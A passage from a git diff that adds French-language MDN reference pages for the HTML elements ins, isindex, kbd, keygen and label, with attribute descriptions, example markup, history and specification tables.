+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLModElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'edits.html#the-ins-element', '&lt;ins&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'edits.html#the-ins-element', '&lt;ins&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.4', '&lt;ins&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.ins")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("del")}} qui permet d'indiquer la suppression d'un fragment dans un document.</li>
+</ul>
diff --git a/files/fr/web/html/element/isindex/index.html b/files/fr/web/html/element/isindex/index.html
new file mode 100644
index 0000000000..fc1cfc8f62
--- /dev/null
+++ b/files/fr/web/html/element/isindex/index.html
@@ -0,0 +1,70 @@
+---
+title: <isindex>
+slug: Web/HTML/Element/isindex
+tags:
+  - Déprécié
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/isindex
+---
+<div>{{Obsolete_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;isindex&gt;</code></strong> est un élément obsolète qui permet de placer un champ sur une page afin d'effectuer des recherches dans le document. <code>&lt;isindex&gt;</code> devait permettre de saisir une ligne de texte pour une requête, à la suite de cette saisie, le serveur renvoyait une liste de pages qui correspondait à la requête. La prise en charge de cet élément dépendait du navigateur et du serveur.</p>
+
+<p><code>&lt;isindex&gt;</code> est un élément déprécié depuis HTML 4.01 car on peut obtenir le même comportement grâce à un formulaire HTML (cf. {{HTMLElement("form")}}). Tous les navigateurs ont désormais retiré <code>&lt;isindex&gt;</code> comme élément (<a href="https://html.spec.whatwg.org/#non-conforming-features">ce dernier est classé comme une fonctionnalité non-conforme dans le standard WHATWG</a>).</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme les autres éléments HTML, cet élément prend en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("prompt")}}</dt>
+ <dd>La valeur de cet attribut sera le texte affiché dans le champ de saisie avant que l'utilisateur y saisisse un texte.</dd>
+ <dt>{{htmlattrdef("action")}}</dt>
+ <dd>Cet atttribut peut être utilisé afin d'envoyer la requête vers une URL différente. Cet attribut n'est pas défini par le W3C.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;isindex prompt="Rechercher…" /&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Historique">Historique</h2>
+
+<p>En juin 1992, Dan Connolly indiquant <a class="external text" href="https://web.archive.org/web/20160306083612/http://1997.webhistory.org/www.lists/www-talk.1992/0080.html" rel="nofollow">sa préférence</a> pour un autre type d'ancre par rapport à <code>isindex</code>.</p>
+
+<p>En novembre 1992, <a class="external text" href="https://lists.w3.org/Archives/Public/www-talk/1992NovDec/thread.html#31" rel="nofollow">les index sont plus considérés comme des liens que comme des documents</a>. Pour cette raison, différentes solutions sont proposées et l'ergonomie des formulaires est <a class="external text" href="https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0039.html" rel="nofollow">mentionnée</a> en référence au navigateur Dynatext : « le navigateur affiche des boutons, les champs textuels, l'utilisateur remplit les champs puis clique sur OK et les résultats de la requête sont récupérés sous la forme d'un tableau de contenu ».</p>
+
+<p>Lors <a class="external text" href="https://lists.w3.org/Archives/Public/www-talk/1992NovDec/thread.html#42" rel="nofollow">d'une discussion en novembre 1992</a>, Kevin Hoadley <a class="external text" href="https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0042.html" rel="nofollow">remet en cause</a> le besoin d'un élément <code>isindex</code> et propose de l'abandonné. Il propose d'utiliser un élément {{HTMLElement("input")}} (une idée également poussée par Steve Putz). Tim Berners-Lee <a class="external text" href="https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0044.html" rel="nofollow">explique </a>alors que le but de <code>isindex</code> est de pouvoir agréger les résultats d'une recherche. Kevin <a class="external text" href="https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0048.html" rel="nofollow">répond</a> alors qu'il n'apprécie pas le côté booléen de <code>isindex</code> et qu'il serait préférable d'avoir un système où tout puisse être recherché, il propose d'étendre le cadre du WWW avec une configuration httpd spécifique et de définir une correspondance entre les URI et les requêtes de recherche.</p>
+
+<p>En 2016, <a href="https://github.com/w3c/html/issues/240">le retrait de <code>isindex</code> de la spécification</a> est proposé.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li><a class="external text" href="https://www.w3.org/TR/html5" rel="nofollow">La spécification HTML5</a> indique que cet élément est <a class="external text" href="https://www.w3.org/TR/html5/obsolete.html#obsolete" rel="nofollow">non-conforme</a>.</li>
+ <li><code><a class="external text" href="https://www.w3.org/TR/html401/interact/forms.html#h-17.8" rel="nofollow">isindex</a></code> est un élément déprécié dans la spécification <a class="external text" href="https://www.w3.org/TR/html401/" rel="nofollow">HTML 4.01</a></li>
+ <li><code><a class="external text" href="https://www.w3.org/TR/REC-html32#isindex" rel="nofollow">isindex</a></code> dans la spécification <a class="external text" href="https://www.w3.org/TR/REC-html32" rel="nofollow">HTML 3.2</a></li>
+ <li><code><a class="external text" href="https://www.w3.org/MarkUp/html-spec/html-spec_5.html#SEC5.2.3" rel="nofollow">isindex</a></code> dans la spécification <a class="external text" href="https://www.w3.org/MarkUp/html-spec/html-spec_5.html" rel="nofollow">HTML 2.0</a> ainsi que la description du comportement <a class="external text" href="https://www.w3.org/MarkUp/html-spec/html-spec_7.html#SEC7.5" rel="nofollow">des requêtes et index</a> (HTML 2.0)</li>
+ <li><code><a class="external text" href="https://www.w3.org/MarkUp/HTMLPlus/htmlplus_51.html" rel="nofollow">isindex</a></code> dans la spécification <a class="external text" href="https://www.w3.org/MarkUp/HTMLPlus/htmlplus_1.html" rel="nofollow">HTML+</a></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.isindex")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("form")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/kbd/index.html b/files/fr/web/html/element/kbd/index.html
new file mode 100644
index 0000000000..4c24aebbf3
--- /dev/null
+++ b/files/fr/web/html/element/kbd/index.html
@@ -0,0 +1,221 @@
+---
+title: '<kbd> : l''élément de saisie clavier'
+slug: Web/HTML/Element/kbd
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/kbd
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">L'élément HTML <code><strong>&lt;kbd&gt;</strong></code> représente une plage de texte en ligne indiquant la saisie de texte par l'utilisateur à partir d'un clavier, d'une saisie vocale ou de tout autre dispositif de saisie de texte. Par convention, le </span>{{Glossary("user agent")}}<span class="seoSummary"> rend par défaut le contenu d'un élément <code>&lt;kbd&gt;</code> en utilisant sa police monospace, bien que cela ne soit pas requis par le standard HTML.</span></p>
+
+<p><code>&lt;kbd&gt;</code> peut être imbriqué dans diverses combinaisons avec {{HTMLElement("samp")}} (Sample Output) pour représenter diverses formes d'entrée ou d'entrée basées sur des repères visuels.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/kbd.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément ne contient que <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>D'autres éléments peuvent être utilisés en association avec <code>&lt;kbd&gt;</code> afin de représenter certains scénarios plus spécifiques :</p>
+
+<ul>
+ <li>Imbriquer un élément <code>&lt;kbd&gt;</code> dans un autre élément <code>&lt;kbd&gt;</code> représente une touche ou une unité de saisie au sein d'une saisie plus grande. Cf. {{anch("Représenter les frappes de touches dans une saisie")}} ci-après.</li>
+ <li>Imbriquer un élément <code>&lt;kbd&gt;</code> dans un élément  {{HTMLElement("samp")}} permet d'indiquer que la saisie a été restituée (<em>echo</em>) à l'utilisateur. Cf. {{anch("Saisie restituée")}}, ci-après.</li>
+ <li>Imbriquer un élément <code>&lt;samp&gt;</code> dans un élément <code>&lt;kbd&gt;</code> permet de représenter des saisies basées sur le texte présenté par le système (cela peut être le nom de menus, d'éléments de menu ou le nom de bouttons affichés à l'écran). Cf. {{anch("Représenter les options de saisies à l'écran")}} ci-après..</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Il est possible de définir un style pour surcharger la mise en forme par défaut du navigateur pour l'élément <code>&lt;kbd&gt;</code>. À ce titre, on gardera à l'esprit que les préférences et feuilles de style de l'utilisateur peuvent surcharger la mise en forme du site.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<pre class="brush: html">&lt;p&gt;Utilisez la commande &lt;kbd&gt;help macommande&lt;/kbd&gt; afin de consulter
+ la documentation pour la commande "macommande".&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_simple', 350, 80)}}</p>
+
+<h3 id="Représenter_les_frappes_de_touches_dans_une_saisie">Représenter les frappes de touches dans une saisie</h3>
+
+<p>Afin de décrire une saisie constituée de plusieurs touches, on imbriquera plusieurs élément <code>&lt;kbd&gt;</code> dans un élément <code>&lt;kbd&gt;</code> englobant qui représente la saisie dans son ensemble. Chaque frappe clavier qui le constitue sera représentée par son propre élément <code>&lt;kbd&gt;</code>.</p>
+
+<h4 id="Sans_mise_en_forme">Sans mise en forme</h4>
+
+<p>Commençons par analyser le code HTML.</p>
+
+<h5 id="HTML">HTML</h5>
+
+<pre class="brush: html">&lt;p&gt;
+  Vous pouvez également créer un nouveau document
+  en utilisant le raccourci clavier
+  &lt;kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;&lt;/kbd&gt;.
+&lt;/p&gt;</pre>
+
+<p>On voit ici que l'ensemble de la combinaison de touches est contenue dans un élément <code>&lt;kbd&gt;</code> et que chaque touche possèe son propre élément.</p>
+
+<h5 id="Résultat_2">Résultat</h5>
+
+<p>Sans mise en forme particulière, voici le résultat obtenu :</p>
+
+<p>{{EmbedLiveSample("Sans_mise_en_forme", 650, 80)}}</p>
+
+<h4 id="Avec_style">Avec style</h4>
+
+<p>On peut alors ajouter un peu de CSS :</p>
+
+<h5 id="CSS">CSS</h5>
+
+<p>On ajoute un règle pour les les éléments <code>&lt;kbd&gt;</code> avec la classe  <code>"key"</code> afin de représenter les touches d'un clavier :</p>
+
+<pre class="brush: css">kbd.key {
+  border-radius: 3px;
+  padding: 1px 2px 0;
+  border: 1px solid black;
+}</pre>
+
+<h5 id="HTML_2">HTML</h5>
+
+<p>On met à jour le code HTML afin d'utiliser cette classe :</p>
+
+<pre class="brush: html">&lt;p&gt;
+  Vous pouvez également créer un nouveau document
+  en utilisant le raccourci clavier
+  &lt;kbd&gt;&lt;kbd class="key"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="key"&gt;N&lt;/kbd&gt;&lt;/kbd&gt;.
+&lt;/p&gt;</pre>
+
+
+
+<h5 id="Résultat_3">Résultat</h5>
+
+<p>{{EmbedLiveSample("Avec_style", 650, 80)}}</p>
+
+<h3 id="Saisie_restituée">Saisie restituée</h3>
+
+<p>En imbriquant un élément <code>&lt;kbd&gt;</code> dans un élément {{HTMLElement("samp")}}, on peut représenter une saisie qui est restituée à l'utilisateur (à la façon d'un écho).</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  S'il se produit une erreur de syntaxe, cet outil affichera
+  la commande initialement saisie pour que vous la revoyez :
+&lt;/p&gt;
+&lt;blockquote&gt;
+  &lt;samp&gt;&lt;kbd&gt;custom-git ad mon-nouveau-fichier.cpp&lt;/kbd&gt;&lt;/samp&gt;
+&lt;/blockquote&gt;</pre>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample("Saisie_restituée", 650, 100)}}</p>
+
+<h3 id="Représenter_les_options_de_saisies_à_l’écran">Représenter les options de saisies à l’écran</h3>
+
+<p>Imbriquer un élément <code>&lt;samp&gt;</code> dans un élément <code>&lt;kbd&gt;</code>  représente une saisie basée sur du texte affiché par le système (par exemple des noms de menu, d'éléments de menu, des noms de boutons affichés à l'écran, etc.).</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<p>Ainsi, si on souhaite expliquer comment choisir l'option "Nouveau document" dans le menu "Fichier" avec un document HTML, on pourra écrire :</p>
+
+<pre class="brush: html">&lt;p&gt;
+  Pour créer un nouveau fichier, sélectionner l'option
+  &lt;kbd&gt;&lt;kbd&gt;&lt;samp&gt;Fichier&lt;/samp&gt;&lt;/kbd&gt;⇒&lt;kbd&gt;&lt;samp&gt;Nouveau
+  document&lt;/samp&gt;&lt;/kbd&gt;&lt;/kbd&gt; dans le menu.
+&lt;/p&gt;
+
+&lt;p&gt;
+  N'oubliez pas de cliquer sur le bouton
+  &lt;kbd&gt;&lt;samp&gt;OK&lt;/samp&gt;&lt;/kbd&gt; afin de confirmer
+  que vous avez saisi le nom du nouveau fichier.
+&lt;/p&gt;</pre>
+
+<p>On voit ici différentes imbrications. La description de l'option du menu est incluse dans un élément <code>&lt;kbd&gt;</code> qui contient le menu et le nom de l'élément du menu dans des éléments <code>&lt;kbd&gt;</code> et <code>&lt;samp&gt;</code>, indiquant que la saisie se fera par l'intermédiaire de quelque chose présenté à l'écran.</p>
+
+<h4 id="Résultat_5">Résultat</h4>
+
+<p>{{EmbedLiveSample("Représenter_les_options_de_saisies_à_l’écran", 650, 120)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras%C3%A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras%C3%A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras%C3%A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}<br>
+    Jusqu'à Gecko 1.9.2 (Firefox 4), Firefox implémentait l'interface {{domxref("HTMLSpanElement")}} pour cet élément.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-kbd-element', '&lt;kbd&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-kbd-element', '&lt;kbd&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Extension de l'élément afin d'inclure tout type de saisie de l'utilisateur (vocale, tactile, clavier).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;kbd&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.kbd")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{htmlelement("code")}}</li>
+ <li>{{htmlelement("samp")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/keygen/index.html b/files/fr/web/html/element/keygen/index.html
new file mode 100644
index 0000000000..3884143745
--- /dev/null
+++ b/files/fr/web/html/element/keygen/index.html
@@ -0,0 +1,120 @@
+---
+title: <keygen>
+slug: Web/HTML/Element/Keygen
+tags:
+  - Déprécié
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/keygen
+---
+<div>{{deprecated_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;keygen&gt;</code></strong> existe afin de faciliter la génération de clés et l'envoi d'une clé publique via un formulaire HTML. Le mécanisme utilisé est conçu pour être utilisé avec les systèmes de gestion de certificats électroniques. L'élément <code>keygen</code> est prévu pour être utilisé dans un formulaire HTML avec d'autres informations permettant de construire une requête de certificat, le résultat du processus étant un certificat signé.</p>
+
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autofocus")}}</dt>
+ <dd>Cet attribut booléen permet de spécifier si le contrôle doit être sélectionné lorsque la page est chargée, à moins que l'utilisateur n'outrepasse ce comportement en remplissant un autre champ. Un seul élément par document peut avoir l'attribut <code><strong>autofocus</strong></code>.</dd>
+ <dt>{{htmlattrdef("challenge")}}</dt>
+ <dd>Une chaîne de caractères correspondant à une requête/réponse qui est envoyée avec la clé publique. La valeur par défaut est une chaîne de caractères vide.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Cet attribut booléen indique qu'il est impossible d'interagir avec le contrôle.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>L'élément form auquel cet élément est rattaché (son formulaire propriétaire). La valeur de cet attribut doit être l'identifiant (ou <code><strong>id</strong></code>) d'un élément {{HTMLElement("form")}} du même document. Si cet attribut n'est pas renseigné, l'élément doit être un descendant d'un élément {{HTMLElement("form")}}. Cet attribut permet de placer des éléments <code>&lt;keygen&gt;</code> au sein du document sans qu'ils soient présentés dans un formulaire.</dd>
+ <dt>{{htmlattrdef("keytype")}}</dt>
+ <dd>Le type de clé générée, la valeur par défaut est <code>RSA</code>.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Le nom du contrôle qui en envoyé avec les données du formulaire.</dd>
+</dl>
+
+<p>L'élément se présente de cette façon :</p>
+
+<pre class="brush: html">&lt;keygen name="<var>nom</var>" challenge="<var>chaîne de challenge</var>"
+        keytype="<var>type</var>" keyparams="<var>pqg-params</var>"&gt;</pre>
+
+<p>Le paramètre <code>keytype</code> est utilisé pour spécifier le type de clé à générer. Les valeurs autorisées sont <code>RSA</code> (qui est la valeur par défaut), <code>DSA</code> et <code>EC</code>. Les attributs <code>name</code> et <code>challenge</code> sont obligatoires. L'attribut <code>keytype</code> est facultatif pour une génération de clé RSA mais obligatoire pour une génération de clé DSA et EC. L'attribut <code>keyparams</code> est requis pour la génération de clés DSA et EC et est ignoré pour la génération de clé RSA. <code>PQG</code> est un synonyme de <code>keyparams</code>. Les variantes suivantes sont donc équivalentes : <code>keyparams="pqg-params"</code> ou <code>pqg="pqg-params"</code>.</p>
+
+<p>Pour les clés RSA, le paramètre <code>keyparams</code> n'est pas utilisé (ignoré s'il est présent). L'utilisateur peut avoir le choix pour la force des clés RSA à générer. Actuellement, l'utilisateur peut choisir entre « <code>high</code> » (élevé) pour 2048 bits et « <code>medium</code> » (moyen) pour 1024 bits.</p>
+
+<p>Pour les clés DSA, le paramètre <code>keyparams</code> définit les paramètres DSA PQG à utiliser pendant le processus de génération de la clé. La valeur du paramètre <code>pqg</code> est encodée en DER en suivant la structure Dss-Parms comme énoncé dans le <a class="link-ftp" href="ftp://ftp.rfc-editor.org/in-notes/rfc3279.txt">RFC 3279</a>. L'utilisateur peut avoir le choix des tailles de clés DSA, permettant à l'utilisateur de choisir parmi les tailles de clés définies dans le standard DSA.</p>
+
+<p>Pour les clés EC, le paramètre <code>keyparams</code> définit le nom de la courbe elliptique sur laquelle sera générée la clé. Normalement, c'est une chaîne de caractères du tableau <a class="external" href="https://mxr.mozilla.org/mozilla-central/source/security/manager/ssl/src/nsKeygenHandler.cpp?mark=179-185,187-206,208-227,229-256#177">nsKeygenHandler.cpp</a>. (Il faut noter que seulement un sous-ensemble des courbes peut être supporté par n'importe quel navigateur.) Si le paramètre <code>keyparams</code> n'est pas reconnu comme une chaîne de caractères correspondant à une courbe, une courbe est choisie selon la force de la clé choisie par l'utilisateur (faible, moyenne, élevée). La courbe <code>secp384r1</code> est utilisée pour une force élevée, la courbe <code>secp256r1</code> est utilisée pour des clés moyennes.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les détails concernant le nombre de degrés de force, les valeurs par défaut de chaque degré et les interfaces utilisateurs à utiliser pour offrir ce choix sortent du cadre de ce document.</p>
+</div>
+
+<p>L'élément <code>keygen</code> n'est valide que s'il appartient à un formulaire HTML. Il entraînera l'affichage d'une interface pour choisir la taille de clé à utiliser. L'interface peut être un menu, des boutons radio ou autre . Le navigateur offrant différents niveaux de forces pour les clés. Actuellement, deux forces sont proposées : élevée et moyenne (<code>high</code> et <code>medium</code>). Si le navigateur est configuré afin de supporter du matériel cryptographique (par exemple les « smart cards »), l'utilisateur peut avoir le choix du support sur lequel générer la clé : sur la carte ou par un logiciel puis stockée sur le disque.</p>
+
+<p>Quand le bouton d'envoi du formulaire est activé, une paire de clés de la taille choisie est générée. La clé privée est chiffrée est stockée dans la base de clés locale.</p>
+
+<pre class="brush: bash">PublicKeyAndChallenge ::= SEQUENCE {
+   spki SubjectPublicKeyInfo,
+   challenge IA5STRING
+}
+SignedPublicKeyAndChallenge ::= SEQUENCE {
+   publicKeyAndChallenge PublicKeyAndChallenge,
+   signatureAlgorithm AlgorithmIdentifier,
+   signature BIT STRING
+}</pre>
+
+<p>La clé publique et la requête/réponse sont encodées en DER en tant que PublicKeyAndChallenge, puis signées avec la clé privée pour produire un SignedPublicKeyAndChallenge. Le  SignedPublicKeyAndChallenge est encodé en base64 et les données ASCII sont finalement envoyées au serveur sous forme d'une paire nom-valeur du formulaire. Le nom étant la valeur définie par l'attribut <code>name</code> de l'élément <code>keygen</code>. Si aucune chaîne de requête/réponse n'est fournie, cela sera encodé comme une IA5STRING de longueur nulle.</p>
+
+<p>Voici un exemple d'un envoi de formulaire, tel qu'envoyé au programme CGI par le serveur HTTP :</p>
+
+<pre class="brush: bash">   commonname=John+Doe&amp;email=doe@foo.com&amp;org=Foobar+Computing+Corp.&amp;
+   orgunit=Bureau+of+Bureaucracy&amp;locality=Anytown&amp;state=California&amp;country=US&amp;
+   key=MIHFMHEwXDANBgkqhkiG9w0BAQEFAANLADBIAkEAnX0TILJrOMUue%2BPtwBRE6XfV%0AWtKQbsshxk5ZhcUwcwyvcnIq9b82QhJdoACdD34rqfCAIND46fXKQUnb0mvKzQID%0AAQABFhFNb3ppbGxhSXNNeUZyaWVuZDANBgkqhkiG9w0BAQQFAANBAAKv2Eex2n%2FS%0Ar%2F7iJNroWlSzSMtTiQTEB%2BADWHGj9u1xrUrOilq%2Fo2cuQxIfZcNZkYAkWP4DubqW%0Ai0%2F%2FrgBvmco%3D</pre>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_associ.C3.A9_aux_formulaires">contenu associé aux formulaires</a> (listed, submittable, resettable), contenu interactif, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, c'est un élément vide</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Doit avoir une balise de début mais pas de balise de fin.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLKeygenElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.keygen")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les discussions autour de la dépréciation/obsolescence de l'élément <code>&lt;keygen&gt;</code> :
+
+  <ul>
+   <li><a href="https://github.com/w3c/html/issues/43">L'<em>issue</em> GitHub</a></li>
+   <li><a href="https://lists.w3.org/Archives/Public/public-html/2016May/0021.html">La discussion sur la liste de diffusion public-html</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/label/index.html b/files/fr/web/html/element/label/index.html
new file mode 100644
index 0000000000..f9fab055c0
--- /dev/null
+++ b/files/fr/web/html/element/label/index.html
@@ -0,0 +1,209 @@
+---
+title: <label>
+slug: Web/HTML/Element/Label
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/label
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;label&gt;</code></strong> représente une légende pour un objet d'une interface utilisateur. Il peut être associé à un contrôle en utilisant l'attribut <code>for</code> ou en plaçant l'élément du contrôle à l'intérieur de l'élément <code>&lt;label&gt;</code>. Un tel contrôle est appelé <em>contrôle étiqueté</em> par l'élément <code>&lt;label&gt;</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/label.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<p>Rattacher un libellé à un élément de saisie ({{HTMLElement("input")}}) offre différents avantages :</p>
+
+<ul>
+ <li>Le texte du libellé n'est pas seulement associé visuellement au champ, il est <em>techniquement</em> associé avec le champ. Ainsi, lorsque l'utilisateur a le focus sur le champ, un lecteur d'écran pourra énoncer le contenu du libellé et permettre à l'utilisateur de disposer d'un meilleur contexte.</li>
